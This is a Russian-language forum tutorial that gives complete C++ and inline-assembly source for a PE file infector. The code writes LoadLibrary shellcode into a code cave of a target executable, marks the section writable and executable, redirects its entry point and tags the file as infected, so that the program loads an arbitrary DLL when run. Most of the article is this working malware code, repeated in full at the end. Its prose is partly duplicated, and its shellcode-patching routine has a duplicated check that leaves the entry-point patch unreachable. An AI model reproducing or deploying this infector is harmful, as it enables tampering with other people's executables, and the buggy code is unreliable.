Доброго времени суток, форумчане! Эта статья является логическим продолжением сразу для двух статей - для статьи о DLL инъекциях и для статьи об инфицировании .exe файлов. Только задумайтесь, что будет, если смешать два этих способа? (Для полноценного понимания требуется изучение предыдущего материала, так как в нём приведены основы инфицирования, внедрения DLL и описание формата PE-файла)
Дисклеймер
ВНИМАНИЕ! Весь представленный ниже материал распространяется исключительно в образовательных целях. Автор и администрация форума не несут ответственности за ваши действия.
Давайте рассмотрим следующий сценарий. Перед нами стоит задача, инфицировать некоторый файл, чтобы при его запуске, загружалась необходимая нам DLL'ка и выполняла нужные нам действия. Почему не внедрить нужный нам код прямо в файл?
Давайте рассмотрим ряд преимуществ способа с внедрением DLL:
Давайте теперь рассмотрим различия между инфицированным файлом и оригинальным в hex-редакторе (в роли жертвы, у нас как обычно будет наш замученный hello.exe). А точнее, рассмотрим как у них различаются секции кода.
Сначала рассмотрим секцию .text у незаражённого файла:
Видим что в секции находится оригинальный код, обширная пещера кода и больше ничего.
Теперь, давайте посмотрим как выглядит секция .text у заражённого файла:
Всё тот же оригинальный код и.... мы видим наш вредоносный код, сразу после оригинального. Его задача заключается в загрузке DLL. Как мы видим, это DLL имеет путь D:\test.dll.
Также, давайте посмотрим как изменились заголовки у PE-файла.
Было:
Стало:
Как мы может заметить появилась метка заражения, а также AddressOfEntryPoint изменился на начало нашего вредоносного кода.
Теперь, нам нужно объявить константы (путь к DLL и путь к целевому файлу), а также объявить внедряемый код (шеллкод). В нашем случае он будет загружать нужную нам DLL'ку.
Также, позаимствуем классы MappedFile и PEParser и этой статьи. Мы уже знаем, в чём состоит их задача из прошлой статьи (отображение целевого файла на память и парсинг (разбор) Portable Executable файла).
Вспомним алгоритм заражения:
Давайте теперь нашишем две процедуры для помечания файла как заражённым и проверки файла на заражение.
Ну и добавим функциональность проверки на заражение в главную функцию:
Теперь, нам нужно найти пещеру кода подходящего размера, куда мы и поместим наш внедряемый код (код загрузки DLL). Для этого реализуем следующую функцию (а также создадим структуру для удобства).
Добавим следующий код в главную функцию. Здесь мы вызываем функцию поиска пещеры кода и обрабатываем результат.
Теперь нам нужно подготовить внедряемый код нужным образом специально под целевой файл. Для этого реализуем следующую функцию (кстати, в предыдущей версии этой функции была одна неприятная бага, которая уже устранена):
И добавим её вызов в главную функцию:
Теперь нам нужно вставить внедряемый код в пещеру кода, изменить характеристики секции, пометить файл как заражённый и закончить работу.
Для этого вставим следующий код в главную функцию:
Вот и всё!
Теперь, возьмём DLL из прошлой статьи и подготовимся к тестовому запуску, поместив hello.exe и test.dll на диск D. Запускаем, и.... У нас всё получилось! Программа успешно подгружает нашу DLL'ку.
На этом всё! Спасибо за прочтение статьи! Если у вас есть какие-либо вопросы или вы обнаружите какие-то недоработки, буду рад увидеть ваш комментарий.
Дисклеймер
ВНИМАНИЕ! Весь представленный ниже материал распространяется исключительно в образовательных целях. Автор и администрация форума не несут ответственности за ваши действия.
Теория
Давайте рассмотрим следующий сценарий. Перед нами стоит задача, инфицировать некоторый файл, чтобы при его запуске, загружалась необходимая нам DLL'ка и выполняла нужные нам действия. Почему не внедрить нужный нам код прямо в файл?
Давайте рассмотрим ряд преимуществ способа с внедрением DLL:
- Код не ограничен размером пещеры кода
- Код может быть реализован на любом языке, позволяющий создавать DLL файлы
- Уменьшается время ожидания перед запуском оригинального кода
- Провал эвристического анализа (если не отправляется DLL'ка)
- Для его корректной работы требуется сама DLL
- Усложнённая реализация распространения на другие ПК
- В произольную папку помещается DLL'ка.
- Целевой файл инфицируется LoadLibrary шеллкодом, который и загружает нашу DLL'ку .
Давайте теперь рассмотрим различия между инфицированным файлом и оригинальным в hex-редакторе (в роли жертвы, у нас как обычно будет наш замученный hello.exe). А точнее, рассмотрим как у них различаются секции кода.
Сначала рассмотрим секцию .text у незаражённого файла:
Видим что в секции находится оригинальный код, обширная пещера кода и больше ничего.
Теперь, давайте посмотрим как выглядит секция .text у заражённого файла:
Всё тот же оригинальный код и.... мы видим наш вредоносный код, сразу после оригинального. Его задача заключается в загрузке DLL. Как мы видим, это DLL имеет путь D:\test.dll.
Также, давайте посмотрим как изменились заголовки у PE-файла.
Было:
Стало:
Как мы может заметить появилась метка заражения, а также AddressOfEntryPoint изменился на начало нашего вредоносного кода.
Практика
Создадим проект в Visual Studio и подключим нужные нам заголовочные файлы:
C++:
#include <Windows.h>
#include <iostream>
#include <stdio.h>
Теперь, нам нужно объявить константы (путь к DLL и путь к целевому файлу), а также объявить внедряемый код (шеллкод). В нашем случае он будет загружать нужную нам DLL'ку.
C++:
#define TARGET_FILE "D:\\hello.exe"
#define TARGET_DLL "D:\\test.dll"
#define SHELLCODE_SIZE (34+sizeof(TARGET_DLL))
#define db(x) __asm _emit x
void __declspec(naked) shellcode()
{
__asm {
pushad
call routine
routine :
pop ebp
sub ebp, offset routine
lea eax, [ebp + szDllName]
push eax
mov eax, 0xAAAAAAAA
call eax
popad
push 0xAAAAAAAA
ret
szDllName :
db('A') db('A') db('A') db('A')
}
}
Также, позаимствуем классы MappedFile и PEParser и этой статьи. Мы уже знаем, в чём состоит их задача из прошлой статьи (отображение целевого файла на память и парсинг (разбор) Portable Executable файла).
C++:
class MappedFile
{
private:
HANDLE m_hFile;
HANDLE m_hMapping;
LPBYTE m_lpFile;
public:
MappedFile(LPTSTR szFilename)
{
m_hFile = CreateFile(szFilename, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (m_hFile == INVALID_HANDLE_VALUE)
{
throw std::exception("Can't open target file!");
}
DWORD dwFileSize = GetFileSize(m_hFile, NULL);
m_hMapping = CreateFileMapping(m_hFile, NULL, PAGE_READWRITE, 0,
0, NULL);
if (m_hMapping == NULL)
{
CloseHandle(m_hFile);
throw std::exception("Can't create file mapping!");
}
m_lpFile = LPBYTE(MapViewOfFile(m_hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwFileSize));
if (m_lpFile == NULL)
{
CloseHandle(m_hMapping);
CloseHandle(m_hFile);
throw std::exception("Can't map view of file!");
}
}
LPBYTE getViewOfFile()
{
return m_lpFile;
}
~MappedFile()
{
UnmapViewOfFile(m_lpFile);
CloseHandle(m_hMapping);
CloseHandle(m_hFile);
}
};
class PEParser
{
private:
LPBYTE m_lpFile;
PIMAGE_DOS_HEADER m_pidh;
PIMAGE_NT_HEADERS m_pinh;
PIMAGE_FILE_HEADER m_pifh;
PIMAGE_OPTIONAL_HEADER m_pioh;
public:
PEParser(LPBYTE lpFile) : m_lpFile(lpFile)
{
m_pidh = PIMAGE_DOS_HEADER(lpFile);
if (m_pidh->e_magic != IMAGE_DOS_SIGNATURE)
{
throw std::exception("There's not executable file!");
}
m_pinh = PIMAGE_NT_HEADERS(lpFile + m_pidh->e_lfanew);
if (m_pinh->Signature != IMAGE_NT_SIGNATURE)
{
throw std::exception("There's not executable file!");
}
m_pifh = PIMAGE_FILE_HEADER(&m_pinh->FileHeader);
m_pioh = PIMAGE_OPTIONAL_HEADER(&m_pinh->OptionalHeader);
}
PIMAGE_DOS_HEADER getDosHeader()
{
return m_pidh;
}
PIMAGE_NT_HEADERS getNtHeaders()
{
return m_pinh;
}
PIMAGE_FILE_HEADER getFileHeader()
{
return m_pifh;
}
PIMAGE_OPTIONAL_HEADER getOptionalHeader()
{
return m_pioh;
}
int getNumberOfSections()
{
return m_pifh->NumberOfSections;
}
PIMAGE_SECTION_HEADER getSectionHeader(int nSection)
{
if (nSection > this->getNumberOfSections())
{
return NULL;
}
return PIMAGE_SECTION_HEADER(m_lpFile + m_pidh->e_lfanew +
sizeof(m_pinh->Signature) + sizeof(IMAGE_FILE_HEADER)+
m_pifh->SizeOfOptionalHeader +
sizeof(IMAGE_SECTION_HEADER)* (nSection - 1));
}
};
Вспомним алгоритм заражения:
- Подготовительные действия
1.1 Открыть файл
1.2 Создать проекцию файла в память
1.3 Проверить действительно ли это исполняемый файл
1.4 Разобрать заголовки
1.5 Проверить заражён ли файл уже - Итерируя каждую секцию пробежаться по ней и найти пещеру кода нужного размера
- Подготавить шелл-код
- Вставлить вредоносный код в пещеру кода
- Изменить характеристики секции на Read, Write, Execute.
- Изменить указатель начала кода (поле AddressOfEntryPoint) на адрес начала вредоносного кода.
- Пометить файл как зараженный
C++:
MappedFile* pmfTarget;
try
{
pmfTarget = new MappedFile(_TEXT(TARGET_FILE));
}
catch (const std::exception& e)
{
std::cerr << "[ERROR] " << e.what() << std::endl;
std::cerr << "GetLastError(): " << GetLastError() << std::endl;
return 1;
}
LPBYTE lpFile = pmfTarget->getViewOfFile();
PEParser* ppeParser;
try
{
ppeParser = new PEParser(lpFile);
}
catch (const std::exception& e)
{
std::cerr << "[ERROR] " << e.what() << std::endl;
std::cerr << "GetLastError(): " << GetLastError() << std::endl;
delete pmfTarget;
return 1;
}
PIMAGE_DOS_HEADER pidh = ppeParser->getDosHeader();
PIMAGE_NT_HEADERS pinh = ppeParser->getNtHeaders();
PIMAGE_FILE_HEADER pifh = ppeParser->getFileHeader();
PIMAGE_OPTIONAL_HEADER pioh = ppeParser->getOptionalHeader();
DWORD dwOEP = pioh->AddressOfEntryPoint + pioh->ImageBase;
Давайте теперь нашишем две процедуры для помечания файла как заражённым и проверки файла на заражение.
C++:
void markAsInfected(PIMAGE_DOS_HEADER pidh)
{
pidh->e_minalloc = 0x1337;
}
BOOL isInfected(PIMAGE_DOS_HEADER pidh)
{
return pidh->e_minalloc == 0x1337;
}
Ну и добавим функциональность проверки на заражение в главную функцию:
C++:
if (isInfected(pidh))
{
std::cerr << "[ERROR] File already infected!" << std::endl;
delete ppeParser;
delete pmfTarget;
return 1;
}
Теперь, нам нужно найти пещеру кода подходящего размера, куда мы и поместим наш внедряемый код (код загрузки DLL). Для этого реализуем следующую функцию (а также создадим структуру для удобства).
C++:
typedef struct _CODE_CAVE
{
DWORD dwPosition;
PIMAGE_SECTION_HEADER pish;
} CODE_CAVE, *PCODE_CAVE;
CODE_CAVE findCodeCave(LPBYTE lpFile, PEParser* ppeParser)
{
CODE_CAVE ccCave;
DWORD dwCount = 0;
ccCave.dwPosition = 0;
ccCave.pish = NULL;
for (int i = 1; i <= ppeParser->getNumberOfSections(); i++)
{
ccCave.pish = ppeParser->getSectionHeader(i);
for (int j = 0; j < ccCave.pish->SizeOfRawData; j++)
{
if (*(lpFile + ccCave.pish->PointerToRawData + j) == 0x00)
{
if (dwCount++ == (SHELLCODE_SIZE + 1))
{
ccCave.dwPosition = j - SHELLCODE_SIZE +
ccCave.pish->PointerToRawData + 1;
break;
}
}
else
{
dwCount = 0;
}
}
if (ccCave.dwPosition != 0)
{
break;
}
}
if (dwCount == 0 || ccCave.dwPosition == 0)
{
return CODE_CAVE{ 0, NULL };
}
else
{
return ccCave;
}
}
Добавим следующий код в главную функцию. Здесь мы вызываем функцию поиска пещеры кода и обрабатываем результат.
C++:
CODE_CAVE ccCave = findCodeCave(lpFile, ppeParser);
if ((ccCave.pish == NULL) || (ccCave.dwPosition == 0))
{
std::cerr << "[ERROR] Can't find code cave!" << std::endl;
delete ppeParser;
delete pmfTarget;
return 1;
}
PIMAGE_SECTION_HEADER pish = ccCave.pish;
DWORD dwPosition = ccCave.dwPosition;
std::cout << "[INFO] Code cave located at 0x" << LPVOID(dwPosition)
<< " (" << pish->Name << " section)" << std::endl;
Теперь нам нужно подготовить внедряемый код нужным образом специально под целевой файл. Для этого реализуем следующую функцию (кстати, в предыдущей версии этой функции была одна неприятная бага, которая уже устранена):
C++:
void modificateShellcode(LPVOID lpShellcode, DWORD dwOEP)
{
HMODULE hModule = LoadLibrary(_TEXT("kernel32.dll"));
LPVOID lpLoadLibraryA = GetProcAddress(hModule, "LoadLibraryA");
for (int i = 0; i < SHELLCODE_SIZE; i++)
{
if (*(LPDWORD(LPBYTE(lpShellcode) + i)) == 0xAAAAAAAA)
{
*(LPDWORD(LPBYTE(lpShellcode) + i)) = DWORD(lpLoadLibraryA);
FreeLibrary(hModule);
continue;
}
if (*(LPDWORD(LPBYTE(lpShellcode) + i)) == 0xAAAAAAAA)
{
*(LPDWORD(LPBYTE(lpShellcode) + i)) = dwOEP;
continue;
}
if (*(LPDWORD(LPBYTE(lpShellcode) + i)) == 0x41414141)
{
memcpy(LPVOID(LPBYTE(lpShellcode) + i), TARGET_DLL, sizeof(TARGET_DLL));
break;
}
}
}
И добавим её вызов в главную функцию:
C++:
LPVOID lpShellcode = new char[SHELLCODE_SIZE];
RtlSecureZeroMemory(lpShellcode, SHELLCODE_SIZE);
memcpy(lpShellcode, shellcode, SHELLCODE_SIZE);
modificateShellcode(lpShellcode, dwOEP);
Теперь нам нужно вставить внедряемый код в пещеру кода, изменить характеристики секции, пометить файл как заражённый и закончить работу.
Для этого вставим следующий код в главную функцию:
C++:
memcpy(LPBYTE(lpFile + dwPosition), lpShellcode, SHELLCODE_SIZE);
pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
markAsInfected(pidh);
std::cout << "[SUCCESS] File successfuly infected!" << std::endl;
delete lpShellcode;
delete ppeParser;
delete pmfTarget;
return 0;
}
Вот и всё!
C++:
#include <Windows.h>
#include <iostream>
#include <stdio.h>
#define TARGET_FILE "D:\\hello.exe"
#define TARGET_DLL "D:\\test.dll"
#define SHELLCODE_SIZE (34+sizeof(TARGET_DLL))
#define db(x) __asm _emit x
void __declspec(naked) shellcode()
{
__asm {
pushad
call routine
routine :
pop ebp
sub ebp, offset routine
lea eax, [ebp + szDllName]
push eax
mov eax, 0xAAAAAAAA
call eax
popad
push 0xAAAAAAAA
ret
szDllName :
db('A') db('A') db('A') db('A')
}
}
class MappedFile
{
private:
HANDLE m_hFile;
HANDLE m_hMapping;
LPBYTE m_lpFile;
public:
MappedFile(LPTSTR szFilename)
{
m_hFile = CreateFile(szFilename, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (m_hFile == INVALID_HANDLE_VALUE)
{
throw std::exception("Can't open target file!");
}
DWORD dwFileSize = GetFileSize(m_hFile, NULL);
m_hMapping = CreateFileMapping(m_hFile, NULL, PAGE_READWRITE, 0,
0, NULL);
if (m_hMapping == NULL)
{
CloseHandle(m_hFile);
throw std::exception("Can't create file mapping!");
}
m_lpFile = LPBYTE(MapViewOfFile(m_hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwFileSize));
if (m_lpFile == NULL)
{
CloseHandle(m_hMapping);
CloseHandle(m_hFile);
throw std::exception("Can't map view of file!");
}
}
LPBYTE getViewOfFile()
{
return m_lpFile;
}
~MappedFile()
{
UnmapViewOfFile(m_lpFile);
CloseHandle(m_hMapping);
CloseHandle(m_hFile);
}
};
class PEParser
{
private:
LPBYTE m_lpFile;
PIMAGE_DOS_HEADER m_pidh;
PIMAGE_NT_HEADERS m_pinh;
PIMAGE_FILE_HEADER m_pifh;
PIMAGE_OPTIONAL_HEADER m_pioh;
public:
PEParser(LPBYTE lpFile) : m_lpFile(lpFile)
{
m_pidh = PIMAGE_DOS_HEADER(lpFile);
if (m_pidh->e_magic != IMAGE_DOS_SIGNATURE)
{
throw std::exception("There's not executable file!");
}
m_pinh = PIMAGE_NT_HEADERS(lpFile + m_pidh->e_lfanew);
if (m_pinh->Signature != IMAGE_NT_SIGNATURE)
{
throw std::exception("There's not executable file!");
}
m_pifh = PIMAGE_FILE_HEADER(&m_pinh->FileHeader);
m_pioh = PIMAGE_OPTIONAL_HEADER(&m_pinh->OptionalHeader);
}
PIMAGE_DOS_HEADER getDosHeader()
{
return m_pidh;
}
PIMAGE_NT_HEADERS getNtHeaders()
{
return m_pinh;
}
PIMAGE_FILE_HEADER getFileHeader()
{
return m_pifh;
}
PIMAGE_OPTIONAL_HEADER getOptionalHeader()
{
return m_pioh;
}
int getNumberOfSections()
{
return m_pifh->NumberOfSections;
}
PIMAGE_SECTION_HEADER getSectionHeader(int nSection)
{
if (nSection > this->getNumberOfSections())
{
return NULL;
}
return PIMAGE_SECTION_HEADER(m_lpFile + m_pidh->e_lfanew +
sizeof(m_pinh->Signature) + sizeof(IMAGE_FILE_HEADER)+
m_pifh->SizeOfOptionalHeader +
sizeof(IMAGE_SECTION_HEADER)* (nSection - 1));
}
};
void modificateShellcode(LPVOID lpShellcode, DWORD dwOEP)
{
HMODULE hModule = LoadLibrary(_TEXT("kernel32.dll"));
LPVOID lpLoadLibraryA = GetProcAddress(hModule, "LoadLibraryA");
for (int i = 0; i < SHELLCODE_SIZE; i++)
{
if (*(LPDWORD(LPBYTE(lpShellcode) + i)) == 0xAAAAAAAA)
{
*(LPDWORD(LPBYTE(lpShellcode) + i)) = DWORD(lpLoadLibraryA);
FreeLibrary(hModule);
continue;
}
if (*(LPDWORD(LPBYTE(lpShellcode) + i)) == 0xAAAAAAAA)
{
*(LPDWORD(LPBYTE(lpShellcode) + i)) = dwOEP;
continue;
}
if (*(LPDWORD(LPBYTE(lpShellcode) + i)) == 0x41414141)
{
memcpy(LPVOID(LPBYTE(lpShellcode) + i), TARGET_DLL, sizeof(TARGET_DLL));
break;
}
}
}
typedef struct _CODE_CAVE
{
DWORD dwPosition;
PIMAGE_SECTION_HEADER pish;
} CODE_CAVE, *PCODE_CAVE;
CODE_CAVE findCodeCave(LPBYTE lpFile, PEParser* ppeParser)
{
CODE_CAVE ccCave;
DWORD dwCount = 0;
ccCave.dwPosition = 0;
ccCave.pish = NULL;
for (int i = 1; i <= ppeParser->getNumberOfSections(); i++)
{
ccCave.pish = ppeParser->getSectionHeader(i);
for (int j = 0; j < ccCave.pish->SizeOfRawData; j++)
{
if (*(lpFile + ccCave.pish->PointerToRawData + j) == 0x00)
{
if (dwCount++ == (SHELLCODE_SIZE + 1))
{
ccCave.dwPosition = j - SHELLCODE_SIZE +
ccCave.pish->PointerToRawData + 1;
break;
}
}
else
{
dwCount = 0;
}
}
if (ccCave.dwPosition != 0)
{
break;
}
}
if (dwCount == 0 || ccCave.dwPosition == 0)
{
return CODE_CAVE{ 0, NULL };
}
else
{
return ccCave;
}
}
void markAsInfected(PIMAGE_DOS_HEADER pidh)
{
pidh->e_minalloc = 0x1337;
}
BOOL isInfected(PIMAGE_DOS_HEADER pidh)
{
return pidh->e_minalloc == 0x1337;
}
int _tmain(int argc, _TCHAR *argv[], _TCHAR* envp[])
{
MappedFile* pmfTarget;
try
{
pmfTarget = new MappedFile(_TEXT(TARGET_FILE));
}
catch (const std::exception& e)
{
std::cerr << "[ERROR] " << e.what() << std::endl;
std::cerr << "GetLastError(): " << GetLastError() << std::endl;
return 1;
}
LPBYTE lpFile = pmfTarget->getViewOfFile();
PEParser* ppeParser;
try
{
ppeParser = new PEParser(lpFile);
}
catch (const std::exception& e)
{
std::cerr << "[ERROR] " << e.what() << std::endl;
std::cerr << "GetLastError(): " << GetLastError() << std::endl;
delete pmfTarget;
return 1;
}
PIMAGE_DOS_HEADER pidh = ppeParser->getDosHeader();
PIMAGE_NT_HEADERS pinh = ppeParser->getNtHeaders();
PIMAGE_FILE_HEADER pifh = ppeParser->getFileHeader();
PIMAGE_OPTIONAL_HEADER pioh = ppeParser->getOptionalHeader();
DWORD dwOEP = pioh->AddressOfEntryPoint + pioh->ImageBase;
if (isInfected(pidh))
{
std::cerr << "[ERROR] File already infected!" << std::endl;
delete ppeParser;
delete pmfTarget;
return 1;
}
CODE_CAVE ccCave = findCodeCave(lpFile, ppeParser);
if ((ccCave.pish == NULL) || (ccCave.dwPosition == 0))
{
std::cerr << "[ERROR] Can't find code cave!" << std::endl;
delete ppeParser;
delete pmfTarget;
return 1;
}
PIMAGE_SECTION_HEADER pish = ccCave.pish;
DWORD dwPosition = ccCave.dwPosition;
std::cout << "[INFO] Code cave located at 0x" << LPVOID(dwPosition)
<< " (" << pish->Name << " section)" << std::endl;
LPVOID lpShellcode = new char[SHELLCODE_SIZE];
RtlSecureZeroMemory(lpShellcode, SHELLCODE_SIZE);
memcpy(lpShellcode, shellcode, SHELLCODE_SIZE);
modificateShellcode(lpShellcode, dwOEP);
memcpy(LPBYTE(lpFile + dwPosition), lpShellcode, SHELLCODE_SIZE);
pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
markAsInfected(pidh);
std::cout << "[SUCCESS] File successfuly infected!" << std::endl;
delete lpShellcode;
delete ppeParser;
delete pmfTarget;
return 0;
}
Теперь, возьмём DLL из прошлой статьи и подготовимся к тестовому запуску, поместив hello.exe и test.dll на диск D. Запускаем, и.... У нас всё получилось! Программа успешно подгружает нашу DLL'ку.
На этом всё! Спасибо за прочтение статьи! Если у вас есть какие-либо вопросы или вы обнаружите какие-то недоработки, буду рад увидеть ваш комментарий.